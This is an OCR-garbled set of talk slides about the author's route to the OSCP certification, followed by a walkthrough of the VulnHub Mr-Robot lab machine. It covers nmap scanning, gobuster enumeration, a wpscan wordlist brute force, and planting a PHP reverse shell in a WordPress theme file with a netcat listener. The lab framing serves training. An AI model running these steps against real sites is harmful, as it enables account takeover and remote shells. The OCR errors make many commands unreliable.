From Z3r0 to nOObi e

root$: Where did it begin...



root $: Over vi ew

Uni versity (Forensics..not so nuch secur-
1ty)

Sof t war e engi neer

Ht and mss |earning' s

OSCP (the good stuff)



root $: Uni versity

Started doing conputer forensics
Deci ded far too nuch | aw

Put ny snart mnd on and did Wb technol ogi es



root $: Sof t war e Engi neeri ng

Started as a front-end devel oper
Moved I nto software engi neering

(Still thinking a | ot about becom ng a hacker,
pen tester)

Got experience wthin progranm ng

(Still thinking a | ot about becom ng a hacker,
pen tester)



root$: Ht and miss |learning' s

Learni ng over the |ast 10 years
So many different types of | earnings

From CEH sel f study material through to ethic-
al hacki ng books

None seened to give ne a solid groundi ng



root $: OSCP (t he good stuff)

So after 10 years | finally did it
Decenber 2016 OSCP day :)
What have | got ny self into :(

Ch thats how t hat works :)



root $:. Let the fun begin...




root $: OSCP (t he good stuff)

https://ww. vul nhub. com entry/ nr-robot-1, 151/
https://ww. kal 1. org/ downl oads/

| nstall both Kali and M Robot and start them
up


https://www.vulnhub.com/entry/mr-robot-1,151/
https://www.kali.org/downloads/

root $: Enuner ati on

NVAP
GoBust er



root $: NVAP

As we unsure of what the IP address wl | be
for this machine we wll do a general ping
sweep usi ng NVAP.

Find the ip range we are using.
$:ifconfig

$:nmap -sn 172. 16. 28. 0/ 24
$: nmap - O -sV 172.16. 28. 129

sSn = no service detection (just ping)
O = Enabl e OS detection
sV = Enabl e Service version detection



root $: GoBust er

gobuster -u http://172.16.28. 129 \
-w /usr/share/seclists/ D scovery/\
Web Cont ent/ common. t xt

| nteresting URL'S
http://172.16. 28. 129/ robot s. t xt
http://172.16. 28. 129/ wp- 1| ogi n


http://172.16.28.129/robots.txt

root $: Manual Checks

VWhat does the source code show us?

Check all the pages the website allows us to
vVisit.

Now | ets visit the interesting URL's that we
f ound.

http://172.16. 28. 129/ robot s. t xt
http://172.16. 28. 129/ wp- 1| ogi n


http://172.16.28.129/robots.txt
http://172.16.28.129/wp-login

I I 172.16.28.129/robots.txt X

&N (D 172.16.28.129

User-agent: *
fsocity.dic

key-1-o0f-3.txt




root $: wp-1 ogi n

Wthin the w-1ogin page we can try using dif-
ferent user nanes and passwords.

Hnt: elliot 1s the main character 1n the tv
show,

|f you enter an active user you wll see a
nessage asking Lost your password?

Bi ngo we have a user nane.



root$: Preparing Brute force | o-
gi n

Wthin the wp-login page we can try using dif-
ferent user nanmes and passwords.

What does fsocity.dic contain?
Do we have any duplicates?

$:sort fsocity.dic

Al ot of duplicates

$:.sort fsocity.dic | uniqg > sorted fsocity.dic
Hnt: to find how nany |ine we saved.

$:. cat fsocity.dic | we -
$:. cat sorted fsocity.dic | w -1



root $: Brute force | ogin

W have a sorted and reduced word list |ets
now try and find a password for elliot.

wpscan --url http://172.16.28. 129 \

--wordlist /root/nr _robot/sorted fsocity.dic \
--usernane elli ot


http://172.16.28.129/

root $: Lets | ogin

So now we have a user nane and password | ets
| ogi n:

User nane: el li ot
Password: ER28-0652



root $: Let the rooting begin

So now we are | ogged into the adm n section
t he wordpress site, lets see what we can do
get a shell on this box.

H nt: Whrdpress has a nice editor :)

What w || happen if we edit a php file |ike
f oot er. php?

What happens if we drop in a reverse shell?

Downl oad reverse shell from

of

http:// pent est nonkey. net/t ool s/ web-shel | s/ php-

rever se-shel |



root $: Let the rooting begin
cont. ..

Extract the tar.gz file

pen php-reverse-shell.php wthin vim (or
sonmet hi ng of your preference)

You Wil see two I1ines wimthin the code:

$ip ='127.0.0.1"; [// CHANGE TH S
$port = 1234; [/ CHANGE THI S

Change the IP to be your Kali IP and and the
PORT to be say 8081



root $: Let the rooting begin
cont. ..

Now save the PHP file and echo the content out
SO you can copy it.

Wthin the WirdPress editor, open the footer-
.php file and under the | ast closing tag paste
i N your code and click update button.

Iln your Kali termnal start |istening for port
connecti ons usi ng netcat

$:nc -nvlp 8081
Navi gate to the website again

Hnt: As the main site isn't WirdPress try and
get a 404 page i.e.

http://172.16.28. 129/ hackne


http://172.16.28.129/hackme
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